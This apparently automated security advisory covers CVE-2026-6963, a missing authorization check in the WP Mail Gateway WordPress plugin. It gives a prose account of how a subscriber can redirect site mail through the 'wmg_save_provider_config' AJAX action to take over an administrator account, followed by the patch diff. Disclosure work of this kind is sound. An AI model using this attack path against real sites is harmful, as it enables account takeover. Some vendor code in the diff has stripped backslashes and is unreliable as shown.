Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 4, 2026

CVE-2026-6963: WP Mail Gateway <= 1.8 – Missing Authorization to Authenticated (Subscriber+) SMTP Configuration Modification via 'wmg_save_provider_config' AJAX Action (wp-mail-gateway)

CVE ID CVE-2026-6963
Severity High (CVSS 8.8)
CWE 862
Vulnerable Version 1.8
Patched Version 1.8.1
Disclosed April 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6963:
This vulnerability allows authenticated attackers with Subscriber-level access or higher to modify the SMTP configuration of the WP Mail Gateway plugin. The missing authorization check on the wmg_save_provider_config AJAX action enables mail redirection, which can be leveraged for privilege escalation by intercepting a password reset email sent to an administrator’s account. The CVSS score is 8.8, reflecting the high impact and relatively low attack complexity.

Root Cause:
The root cause is a missing capability check in the saveProviderConfigAjax method within the file wp-mail-gateway/src/Functions.php. The vulnerable code registers the wmg_save_provider_config AJAX action for all authenticated users in Bootstrap.php at line 51, but the corresponding handler method at lines 109-142 in Functions.php did not verify that the user had administrative privileges (manage_options capability). The patch adds a call to current_user_can( ‘manage_options’ ) before processing the request, which ensures only administrators can modify SMTP settings. Additionally, a nonce check (check_ajax_referer) was added to prevent cross-site request forgery. The same authorization and nonce checks were also added to the other AJAX handlers: getProviderConfigsAjax and testProviderConfigSendMailAjax.

Exploitation:
An attacker with a WordPress subscriber account can send a POST request to /wp-admin/admin-ajax.php with the action parameter set to wmg_save_provider_config. The request must include the configs parameter containing a JSON-encoded array of SMTP provider configurations. The attacker can specify arbitrary SMTP server settings, including the server hostname, port, credentials, and email addresses. By setting these to their own mail server, the attacker can intercept all outgoing mail from the WordPress site. This allows them to receive password reset emails sent to administrator accounts, then use the reset link to gain administrative access. The request does not require a nonce in the vulnerable version, making it trivial to execute via a simple form submission or AJAX call.

Patch Analysis:
The patch adds two security controls to each of the three AJAX handler methods in Functions.php. First, it checks the nonce via check_ajax_referer( ‘wmg_ajax_nonce’, ‘nonce’ ), which requires the client to provide a valid nonce token in the request. Second, it checks the user’s capability with if ( ! current_user_can( ‘manage_options’ ) ) which restricts access to administrators only. The nonce is generated and localized to the admin JavaScript in Bootstrap.php via a new localizeAjaxNonce method that uses wp_localize_script to expose the nonce value to the wpg.main script. This means the nonce is only available in the WordPress admin dashboard context, preventing non-admin users from obtaining it through the frontend. The patch also adds a PHP version compatibility check in the autoloader and updates the Composer class loader, though these changes are unrelated to the security fix.

Impact:
Successful exploitation allows an attacker to take full control of the WordPress site. The attacker can redirect all email from the site to their own SMTP server, including password reset emails, notification emails, and any other mail sent through WordPress wp_mail(). With access to a password reset link for an administrator account, the attacker can set a new password and log in as an administrator. This grants complete control over the WordPress installation, including the ability to install plugins, modify themes, create accounts, and access any sensitive data stored in the database. The attack does not require any special privileges beyond having a subscriber account, which is typically open for registration on WordPress sites.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-mail-gateway/src/Bootstrap.php
+++ b/wp-mail-gateway/src/Bootstrap.php
@@ -46,6 +46,9 @@
 			add_action( 'wp_ajax_wmg_get_saved_configs', array( Functions::class, "getProviderConfigsAjax" ) );
 			add_action( 'wp_ajax_wmg_save_provider_config', array( Functions::class, "saveProviderConfigAjax" ) );
 			add_action( 'wp_ajax_wmg_test_provider_config_send_mail', array( Functions::class, "testProviderConfigSendMailAjax" ) );
+
+			// Pass nonce to JS for AJAX request verification
+			add_action( 'admin_enqueue_scripts', array( Functions::class, 'localizeAjaxNonce' ) );
 		}
 	}
 }
 No newline at end of file
--- a/wp-mail-gateway/src/Functions.php
+++ b/wp-mail-gateway/src/Functions.php
@@ -72,6 +72,12 @@
 		echo "</div></div></div>";
 	}

+	public static function localizeAjaxNonce() {
+		wp_localize_script( 'wpg.main', 'wmgAjax', [
+			'nonce' => wp_create_nonce( 'wmg_ajax_nonce' ),
+		] );
+	}
+
 	public static function loadPluginAdminPageStaticAssets() {
 		wp_register_style( 'bootstrap.wmg', plugins_url( 'assets/css/bootstrap-wmg.css', WP_MAIL_GATEWAY_PLUGIN_FILE_PATH_FULL ), false, WP_MAIL_GATEWAY_PLUGIN_VERSION );
 		wp_enqueue_style( 'bootstrap.wmg' );
@@ -98,6 +104,13 @@
 	}

 	public static function getProviderConfigsAjax() {
+		check_ajax_referer( 'wmg_ajax_nonce', 'nonce' );
+
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( [ 'message' => 'Insufficient permissions.' ], 403 );
+			exit();
+		}
+
 		$configs = self::getOptions();
 		if(!empty($configs['gateway_provider'])){
 			wp_send_json_success(array("success" => true, 'saved_configs' => $configs['gateway_provider']));
@@ -109,6 +122,13 @@
 	}

 	public static function saveProviderConfigAjax() {
+		check_ajax_referer( 'wmg_ajax_nonce', 'nonce' );
+
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( [ 'message' => 'Insufficient permissions.' ], 403 );
+			exit();
+		}
+
 		$postData = $_POST;
 		$configs = json_decode(stripslashes($postData['configs']), true);

@@ -202,6 +222,13 @@
 	}

 	public static function testProviderConfigSendMailAjax(){
+		check_ajax_referer( 'wmg_ajax_nonce', 'nonce' );
+
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( [ 'message' => 'Insufficient permissions.' ], 403 );
+			exit();
+		}
+
 	    $postData = $_POST;
         $configs = json_decode(stripslashes($postData['configs']), true);
         $result = wp_mail($configs['to'], $configs['subject'], $configs['content']);
--- a/wp-mail-gateway/vendor/autoload.php
+++ b/wp-mail-gateway/vendor/autoload.php
@@ -2,6 +2,21 @@

 // autoload.php @generated by Composer

+if (PHP_VERSION_ID < 50600) {
+    if (!headers_sent()) {
+        header('HTTP/1.1 500 Internal Server Error');
+    }
+    $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
+    if (!ini_get('display_errors')) {
+        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
+            fwrite(STDERR, $err);
+        } elseif (!headers_sent()) {
+            echo $err;
+        }
+    }
+    throw new RuntimeException($err);
+}
+
 require_once __DIR__ . '/composer/autoload_real.php';

 return ComposerAutoloaderInitf30bed4a5932601ed3253b8b4a041425::getLoader();
--- a/wp-mail-gateway/vendor/composer/ClassLoader.php
+++ b/wp-mail-gateway/vendor/composer/ClassLoader.php
@@ -37,57 +37,126 @@
  *
  * @author Fabien Potencier <fabien@symfony.com>
  * @author Jordi Boggiano <j.boggiano@seld.be>
- * @see    http://www.php-fig.org/psr/psr-0/
- * @see    http://www.php-fig.org/psr/psr-4/
+ * @see    https://www.php-fig.org/psr/psr-0/
+ * @see    https://www.php-fig.org/psr/psr-4/
  */
 class ClassLoader
 {
+    /** @var Closure(string):void */
+    private static $includeFile;
+
+    /** @var string|null */
+    private $vendorDir;
+
     // PSR-4
+    /**
+     * @var array<string, array<string, int>>
+     */
     private $prefixLengthsPsr4 = array();
+    /**
+     * @var array<string, list<string>>
+     */
     private $prefixDirsPsr4 = array();
+    /**
+     * @var list<string>
+     */
     private $fallbackDirsPsr4 = array();

     // PSR-0
+    /**
+     * List of PSR-0 prefixes
+     *
+     * Structured as array('F (first letter)' => array('FooBar (full prefix)' => array('path', 'path2')))
+     *
+     * @var array<string, array<string, list<string>>>
+     */
     private $prefixesPsr0 = array();
+    /**
+     * @var list<string>
+     */
     private $fallbackDirsPsr0 = array();

+    /** @var bool */
     private $useIncludePath = false;
+
+    /**
+     * @var array<string, string>
+     */
     private $classMap = array();
+
+    /** @var bool */
     private $classMapAuthoritative = false;
+
+    /**
+     * @var array<string, bool>
+     */
     private $missingClasses = array();
+
+    /** @var string|null */
     private $apcuPrefix;

+    /**
+     * @var array<string, self>
+     */
+    private static $registeredLoaders = array();
+
+    /**
+     * @param string|null $vendorDir
+     */
+    public function __construct($vendorDir = null)
+    {
+        $this->vendorDir = $vendorDir;
+        self::initializeIncludeClosure();
+    }
+
+    /**
+     * @return array<string, list<string>>
+     */
     public function getPrefixes()
     {
         if (!empty($this->prefixesPsr0)) {
-            return call_user_func_array('array_merge', $this->prefixesPsr0);
+            return call_user_func_array('array_merge', array_values($this->prefixesPsr0));
         }

         return array();
     }

+    /**
+     * @return array<string, list<string>>
+     */
     public function getPrefixesPsr4()
     {
         return $this->prefixDirsPsr4;
     }

+    /**
+     * @return list<string>
+     */
     public function getFallbackDirs()
     {
         return $this->fallbackDirsPsr0;
     }

+    /**
+     * @return list<string>
+     */
     public function getFallbackDirsPsr4()
     {
         return $this->fallbackDirsPsr4;
     }

+    /**
+     * @return array<string, string> Array of classname => path
+     */
     public function getClassMap()
     {
         return $this->classMap;
     }

     /**
-     * @param array $classMap Class to filename map
+     * @param array<string, string> $classMap Class to filename map
+     *
+     * @return void
      */
     public function addClassMap(array $classMap)
     {
@@ -102,22 +171,25 @@
      * Registers a set of PSR-0 directories for a given prefix, either
      * appending or prepending to the ones previously set for this prefix.
      *
-     * @param string       $prefix  The prefix
-     * @param array|string $paths   The PSR-0 root directories
-     * @param bool         $prepend Whether to prepend the directories
+     * @param string              $prefix  The prefix
+     * @param list<string>|string $paths   The PSR-0 root directories
+     * @param bool                $prepend Whether to prepend the directories
+     *
+     * @return void
      */
     public function add($prefix, $paths, $prepend = false)
     {
+        $paths = (array) $paths;
         if (!$prefix) {
             if ($prepend) {
                 $this->fallbackDirsPsr0 = array_merge(
-                    (array) $paths,
+                    $paths,
                     $this->fallbackDirsPsr0
                 );
             } else {
                 $this->fallbackDirsPsr0 = array_merge(
                     $this->fallbackDirsPsr0,
-                    (array) $paths
+                    $paths
                 );
             }

@@ -126,19 +198,19 @@

         $first = $prefix[0];
         if (!isset($this->prefixesPsr0[$first][$prefix])) {
-            $this->prefixesPsr0[$first][$prefix] = (array) $paths;
+            $this->prefixesPsr0[$first][$prefix] = $paths;

             return;
         }
         if ($prepend) {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
-                (array) $paths,
+                $paths,
                 $this->prefixesPsr0[$first][$prefix]
             );
         } else {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
                 $this->prefixesPsr0[$first][$prefix],
-                (array) $paths
+                $paths
             );
         }
     }
@@ -147,25 +219,28 @@
      * Registers a set of PSR-4 directories for a given namespace, either
      * appending or prepending to the ones previously set for this namespace.
      *
-     * @param string       $prefix  The prefix/namespace, with trailing '\'
-     * @param array|string $paths   The PSR-4 base directories
-     * @param bool         $prepend Whether to prepend the directories
+     * @param string              $prefix  The prefix/namespace, with trailing '\'
+     * @param list<string>|string $paths   The PSR-4 base directories
+     * @param bool                $prepend Whether to prepend the directories
      *
      * @throws InvalidArgumentException
+     *
+     * @return void
      */
     public function addPsr4($prefix, $paths, $prepend = false)
     {
+        $paths = (array) $paths;
         if (!$prefix) {
             // Register directories for the root namespace.
             if ($prepend) {
                 $this->fallbackDirsPsr4 = array_merge(
-                    (array) $paths,
+                    $paths,
                     $this->fallbackDirsPsr4
                 );
             } else {
                 $this->fallbackDirsPsr4 = array_merge(
                     $this->fallbackDirsPsr4,
-                    (array) $paths
+                    $paths
                 );
             }
         } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
@@ -175,18 +250,18 @@
                 throw new InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
             }
             $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
-            $this->prefixDirsPsr4[$prefix] = (array) $paths;
+            $this->prefixDirsPsr4[$prefix] = $paths;
         } elseif ($prepend) {
             // Prepend directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
-                (array) $paths,
+                $paths,
                 $this->prefixDirsPsr4[$prefix]
             );
         } else {
             // Append directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
                 $this->prefixDirsPsr4[$prefix],
-                (array) $paths
+                $paths
             );
         }
     }
@@ -195,8 +270,10 @@
      * Registers a set of PSR-0 directories for a given prefix,
      * replacing any others previously set for this prefix.
      *
-     * @param string       $prefix The prefix
-     * @param array|string $paths  The PSR-0 base directories
+     * @param string              $prefix The prefix
+     * @param list<string>|string $paths  The PSR-0 base directories
+     *
+     * @return void
      */
     public function set($prefix, $paths)
     {
@@ -211,10 +288,12 @@
      * Registers a set of PSR-4 directories for a given namespace,
      * replacing any others previously set for this namespace.
      *
-     * @param string       $prefix The prefix/namespace, with trailing '\'
-     * @param array|string $paths  The PSR-4 base directories
+     * @param string              $prefix The prefix/namespace, with trailing '\'
+     * @param list<string>|string $paths  The PSR-4 base directories
      *
      * @throws InvalidArgumentException
+     *
+     * @return void
      */
     public function setPsr4($prefix, $paths)
     {
@@ -234,6 +313,8 @@
      * Turns on searching the include path for class files.
      *
      * @param bool $useIncludePath
+     *
+     * @return void
      */
     public function setUseIncludePath($useIncludePath)
     {
@@ -256,6 +337,8 @@
      * that have not been registered with the class map.
      *
      * @param bool $classMapAuthoritative
+     *
+     * @return void
      */
     public function setClassMapAuthoritative($classMapAuthoritative)
     {
@@ -276,6 +359,8 @@
      * APCu prefix to use to cache found/not-found classes, if the extension is enabled.
      *
      * @param string|null $apcuPrefix
+     *
+     * @return void
      */
     public function setApcuPrefix($apcuPrefix)
     {
@@ -296,33 +381,55 @@
      * Registers this instance as an autoloader.
      *
      * @param bool $prepend Whether to prepend the autoloader or not
+     *
+     * @return void
      */
     public function register($prepend = false)
     {
         spl_autoload_register(array($this, 'loadClass'), true, $prepend);
+
+        if (null === $this->vendorDir) {
+            return;
+        }
+
+        if ($prepend) {
+            self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders;
+        } else {
+            unset(self::$registeredLoaders[$this->vendorDir]);
+            self::$registeredLoaders[$this->vendorDir] = $this;
+        }
     }

     /**
      * Unregisters this instance as an autoloader.
+     *
+     * @return void
      */
     public function unregister()
     {
         spl_autoload_unregister(array($this, 'loadClass'));
+
+        if (null !== $this->vendorDir) {
+            unset(self::$registeredLoaders[$this->vendorDir]);
+        }
     }

     /**
      * Loads the given class or interface.
      *
      * @param  string    $class The name of the class
-     * @return bool|null True if loaded, null otherwise
+     * @return true|null True if loaded, null otherwise
      */
     public function loadClass($class)
     {
         if ($file = $this->findFile($class)) {
-            includeFile($file);
+            $includeFile = self::$includeFile;
+            $includeFile($file);

             return true;
         }
+
+        return null;
     }

     /**
@@ -367,6 +474,21 @@
         return $file;
     }

+    /**
+     * Returns the currently registered loaders keyed by their corresponding vendor directories.
+     *
+     * @return array<string, self>
+     */
+    public static function getRegisteredLoaders()
+    {
+        return self::$registeredLoaders;
+    }
+
+    /**
+     * @param  string       $class
+     * @param  string       $ext
+     * @return string|false
+     */
     private function findFileWithExtension($class, $ext)
     {
         // PSR-4 lookup
@@ -432,14 +554,26 @@

         return false;
     }
-}

-/**
- * Scope isolated include.
- *
- * Prevents access to $this/self from included files.
- */
-function includeFile($file)
-{
-    include $file;
+    /**
+     * @return void
+     */
+    private static function initializeIncludeClosure()
+    {
+        if (self::$includeFile !== null) {
+            return;
+        }
+
+        /**
+         * Scope isolated include.
+         *
+         * Prevents access to $this/self from included files.
+         *
+         * @param  string $file
+         * @return void
+         */
+        self::$includeFile = Closure::bind(static function($file) {
+            include $file;
+        }, null, null);
+    }
 }
--- a/wp-mail-gateway/vendor/composer/InstalledVersions.php
+++ b/wp-mail-gateway/vendor/composer/InstalledVersions.php
@@ -0,0 +1,396 @@
+<?php
+
+/*
+ * This file is part of Composer.
+ *
+ * (c) Nils Adermann <naderman@naderman.de>
+ *     Jordi Boggiano <j.boggiano@seld.be>
+ *
+ * For the full copyright and license information, please view the LICENSE
+ * file that was distributed with this source code.
+ */
+
+namespace Composer;
+
+use ComposerAutoloadClassLoader;
+use ComposerSemverVersionParser;
+
+/**
+ * This class is copied in every Composer installed project and available to all
+ *
+ * See also https://getcomposer.org/doc/07-runtime.md#installed-versions
+ *
+ * To require its presence, you can require `composer-runtime-api ^2.0`
+ *
+ * @final
+ */
+class InstalledVersions
+{
+    /**
+     * @var string|null if set (by reflection by Composer), this should be set to the path where this class is being copied to
+     * @internal
+     */
+    private static $selfDir = null;
+
+    /**
+     * @var mixed[]|null
+     * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
+     */
+    private static $installed;
+
+    /**
+     * @var bool
+     */
+    private static $installedIsLocalDir;
+
+    /**
+     * @var bool|null
+     */
+    private static $canGetVendors;
+
+    /**
+     * @var array[]
+     * @psalm-var array<string, array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
+     */
+    private static $installedByVendor = array();
+
+    /**
+     * Returns a list of all package names which are present, either by being installed, replaced or provided
+     *
+     * @return string[]
+     * @psalm-return list<string>
+     */
+    public static function getInstalledPackages()
+    {
+        $packages = array();
+        foreach (self::getInstalled() as $installed) {
+            $packages[] = array_keys($installed['versions']);
+        }
+
+        if (1 === count($packages)) {
+            return $packages[0];
+        }
+
+        return array_keys(array_flip(call_user_func_array('array_merge', $packages)));
+    }
+
+    /**
+     * Returns a list of all package names with a specific type e.g. 'library'
+     *
+     * @param  string   $type
+     * @return string[]
+     * @psalm-return list<string>
+     */
+    public static function getInstalledPackagesByType($type)
+    {
+        $packagesByType = array();
+
+        foreach (self::getInstalled() as $installed) {
+            foreach ($installed['versions'] as $name => $package) {
+                if (isset($package['type']) && $package['type'] === $type) {
+                    $packagesByType[] = $name;
+                }
+            }
+        }
+
+        return $packagesByType;
+    }
+
+    /**
+     * Checks whether the given package is installed
+     *
+     * This also returns true if the package name is provided or replaced by another package
+     *
+     * @param  string $packageName
+     * @param  bool   $includeDevRequirements
+     * @return bool
+     */
+    public static function isInstalled($packageName, $includeDevRequirements = true)
+    {
+        foreach (self::getInstalled() as $installed) {
+            if (isset($installed['versions'][$packageName])) {
+                return $includeDevRequirements || !isset($installed['versions'][$packageName]['dev_requirement']) || $installed['versions'][$packageName]['dev_requirement'] === false;
+            }
+        }
+
+        return false;
+    }
+
+    /**
+     * Checks whether the given package satisfies a version constraint
+     *
+     * e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call:
+     *
+     *   ComposerInstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3')
+     *
+     * @param  VersionParser $parser      Install composer/semver to have access to this class and functionality
+     * @param  string        $packageName
+     * @param  string|null   $constraint  A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package
+     * @return bool
+     */
+    public static function satisfies(VersionParser $parser, $packageName, $constraint)
+    {
+        $constraint = $parser->parseConstraints((string) $constraint);
+        $provided = $parser->parseConstraints(self::getVersionRanges($packageName));
+
+        return $provided->matches($constraint);
+    }
+
+    /**
+     * Returns a version constraint representing all the range(s) which are installed for a given package
+     *
+     * It is easier to use this via isInstalled() with the $constraint argument if you need to check
+     * whether a given version of a package is installed, and not just whether it exists
+     *
+     * @param  string $packageName
+     * @return string Version constraint usable with composer/semver
+     */
+    public static function getVersionRanges($packageName)
+    {
+        foreach (self::getInstalled() as $installed) {
+            if (!isset($installed['versions'][$packageName])) {
+                continue;
+            }
+
+            $ranges = array();
+            if (isset($installed['versions'][$packageName]['pretty_version'])) {
+                $ranges[] = $installed['versions'][$packageName]['pretty_version'];
+            }
+            if (array_key_exists('aliases', $installed['versions'][$packageName])) {
+                $ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']);
+            }
+            if (array_key_exists('replaced', $installed['versions'][$packageName])) {
+                $ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']);
+            }
+            if (array_key_exists('provided', $installed['versions'][$packageName])) {
+                $ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']);
+            }
+
+            return implode(' || ', $ranges);
+        }
+
+        throw new OutOfBoundsException('Package "' . $packageName . '" is not installed');
+    }
+
+    /**
+     * @param  string      $packageName
+     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
+     */
+    public static function getVersion($packageName)
+    {
+        foreach (self::getInstalled() as $installed) {
+            if (!isset($installed['versions'][$packageName])) {
+                continue;
+            }
+
+            if (!isset($installed['versions'][$packageName]['version'])) {
+                return null;
+            }
+
+            return $installed['versions'][$packageName]['version'];
+        }
+
+        throw new OutOfBoundsException('Package "' . $packageName . '" is not installed');
+    }
+
+    /**
+     * @param  string      $packageName
+     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
+     */
+    public static function getPrettyVersion($packageName)
+    {
+        foreach (self::getInstalled() as $installed) {
+            if (!isset($installed['versions'][$packageName])) {
+                continue;
+            }
+
+            if (!isset($installed['versions'][$packageName]['pretty_version'])) {
+                return null;
+            }
+
+            return $installed['versions'][$packageName]['pretty_version'];
+        }
+
+        throw new OutOfBoundsException('Package "' . $packageName . '" is not installed');
+    }
+
+    /**
+     * @param  string      $packageName
+     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as reference
+     */
+    public static function getReference($packageName)
+    {
+        foreach (self::getInstalled() as $installed) {
+            if (!isset($installed['versions'][$packageName])) {
+                continue;
+            }
+
+            if (!isset($installed['versions'][$packageName]['reference'])) {
+                return null;
+            }
+
+            return $installed['versions'][$packageName]['reference'];
+        }
+
+        throw new OutOfBoundsException('Package "' . $packageName . '" is not installed');
+    }
+
+    /**
+     * @param  string      $packageName
+     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as install path. Packages of type metapackages also have a null install path.
+     */
+    public static function getInstallPath($packageName)
+    {
+        foreach (self::getInstalled() as $installed) {
+            if (!isset($installed['versions'][$packageName])) {
+                continue;
+            }
+
+            return isset($installed['versions'][$packageName]['install_path']) ? $installed['versions'][$packageName]['install_path'] : null;
+        }
+
+        throw new OutOfBoundsException('Package "' . $packageName . '" is not installed');
+    }
+
+    /**
+     * @return array
+     * @psalm-return array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}
+     */
+    public static function getRootPackage()
+    {
+        $installed = self::getInstalled();
+
+        return $installed[0]['root'];
+    }
+
+    /**
+     * Returns the raw installed.php data for custom implementations
+     *
+     * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect.
+     * @return array[]
+     * @psalm-return array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}
+     */
+    public static function getRawData()
+    {
+        @trigger_error('getRawData only returns the first dataset loaded, which may not be what you expect. Use getAllRawData() instead which returns all datasets for all autoloaders present in the process.', E_USER_DEPRECATED);
+
+        if (null === self::$installed) {
+            // only require the installed.php file if this file is loaded from its dumped location,
+            // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
+            if (substr(__DIR__, -8, 1) !== 'C') {
+                self::$installed = include __DIR__ . '/installed.php';
+            } else {
+                self::$installed = array();
+            }
+        }
+
+        return self::$installed;
+    }
+
+    /**
+     * Returns the raw data of all installed.php which are currently loaded for custom implementations
+     *
+     * @return array[]
+     * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
+     */
+    public static function getAllRawData()
+    {
+        return self::getInstalled();
+    }
+
+    /**
+     * Lets you reload the static array from another file
+     *
+     * This is only useful for complex integrations in which a project needs to use
+     * this class but then also needs to execute another project's autoloader in process,
+     * and wants to ensure both projects have access to their version of installed.php.
+     *
+     * A typical case would be PHPUnit, where it would need to make sure it reads all
+     * the data it needs from this class, then call reload() with
+     * `require $CWD/vendor/composer/installed.php` (or similar) as input to make sure
+     * the project in which it runs can then also use this class safely, without
+     * interference between PHPUnit's dependencies and the project's dependencies.
+     *
+     * @param  array[] $data A vendor/composer/installed.php data set
+     * @return void
+     *
+     * @psalm-param array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $data
+     */
+    public static function reload($data)
+    {
+        self::$installed = $data;
+        self::$installedByVendor = array();
+
+        // when using reload, we disable the duplicate protection to ensure that self::$installed data is
+        // always returned, but we cannot know whether it comes from the installed.php in __DIR__ or not,
+        // so we have to assume it does not, and that may result in duplicate data being returned when listing
+        // all installed packages for example
+        self::$installedIsLocalDir = false;
+    }
+
+    /**
+     * @return string
+     */
+    private static function getSelfDir()
+    {
+        if (self::$selfDir === null) {
+            self::$selfDir = strtr(__DIR__, '\', '/');
+        }
+
+        return self::$selfDir;
+    }
+
+    /**
+     * @return array[]
+     * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
+     */
+    private static function getInstalled()
+    {
+        if (null === self::$canGetVendors) {
+            self::$canGetVendors = method_exists('ComposerAutoloadClassLoader', 'getRegisteredLoaders');
+        }
+
+        $installed = array();
+        $copiedLocalDir = false;
+
+        if (self::$canGetVendors) {
+            $selfDir = self::getSelfDir();
+            foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
+                $vendorDir = strtr($vendorDir, '\', '/');
+                if (isset(self::$installedByVendor[$vendorDir])) {
+                    $installed[] = self::$installedByVendor[$vendorDir];
+                } elseif (is_file($vendorDir.'/composer/installed.php')) {
+                    /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
+                    $required = require $vendorDir.'/composer/installed.php';
+                    self::$installedByVendor[$vendorDir] = $required;
+                    $installed[] = $required;
+                    if (self::$installed === null && $vendorDir.'/composer' === $selfDir) {
+                        self::$installed = $required;
+                        self::$installedIsLocalDir = true;
+                    }
+                }
+                if (self::$installedIsLocalDir && $vendorDir.'/composer' === $selfDir) {
+                    $copiedLocalDir = true;
+                }
+            }
+        }
+
+        if (null === self::$installed) {
+            // only require the installed.php file if this file is loaded from its dumped location,
+            // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
+            if (substr(__DIR__, -8, 1) !== 'C') {
+                /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
+                $required = require __DIR__ . '/installed.php';
+                self::$installed = $required;
+            } else {
+                self::$installed = array();
+            }
+        }
+
+        if (self::$installed !== array() && !$copiedLocalDir) {
+            $installed[] = self::$installed;
+        }
+
+        return $installed;
+    }
+}
--- a/wp-mail-gateway/vendor/composer/autoload_classmap.php
+++ b/wp-mail-gateway/vendor/composer/autoload_classmap.php
@@ -2,11 +2,20 @@

 // autoload_classmap.php @generated by Composer

-$vendorDir = dirname(dirname(__FILE__));
+$vendorDir = dirname(__DIR__);
 $baseDir = dirname($vendorDir);

 return array(
+    'ArithmeticError' => $vendorDir . '/symfony/polyfill-php70/Resources/stubs/ArithmeticError.php',
+    'AssertionError' => $vendorDir . '/symfony/polyfill-php70/Resources/stubs/AssertionError.php',
+    'Composer\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php',
+    'DivisionByZeroError' => $vendorDir . '/symfony/polyfill-php70/Resources/stubs/DivisionByZeroError.php',
+    'Error' => $vendorDir . '/symfony/polyfill-php70/Resources/stubs/Error.php',
+    'Normalizer' => $vendorDir . '/symfony/polyfill-intl-normalizer/Resources/stubs/Normalizer.php',
+    'ParseError' => $vendorDir . '/symfony/polyfill-php70/Resources/stubs/ParseError.php',
+    'SessionUpdateTimestampHandlerInterface' => $vendorDir . '/symfony/polyfill-php70/Resources/stubs/SessionUpdateTimestampHandlerInterface.php',
     'SimpleEmailService' => $vendorDir . '/daniel-zahariev/php-aws-ses/src/SimpleEmailService.php',
     'SimpleEmailServiceMessage' => $vendorDir . '/daniel-zahariev/php-aws-ses/src/SimpleEmailServiceMessage.php',
     'SimpleEmailServiceRequest' => $vendorDir . '/daniel-zahariev/php-aws-ses/src/SimpleEmailServiceRequest.php',
+    'TypeError' => $vendorDir . '/symfony/polyfill-php70/Resources/stubs/TypeError.php',
 );
--- a/wp-mail-gateway/vendor/composer/autoload_files.php
+++ b/wp-mail-gateway/vendor/composer/autoload_files.php
@@ -2,21 +2,22 @@

 // autoload_files.php @generated by Composer

-$vendorDir = dirname(dirname(__FILE__));
+$vendorDir = dirname(__DIR__);
 $baseDir = dirname($vendorDir);

 return array(
+    '5255c38a0faeba867671b61dfda6d864' => $vendorDir . '/paragonie/random_compat/lib/random.php',
     '7b11c4dc42b3b3023073cb14e519683c' => $vendorDir . '/ralouphie/getallheaders/src/getallheaders.php',
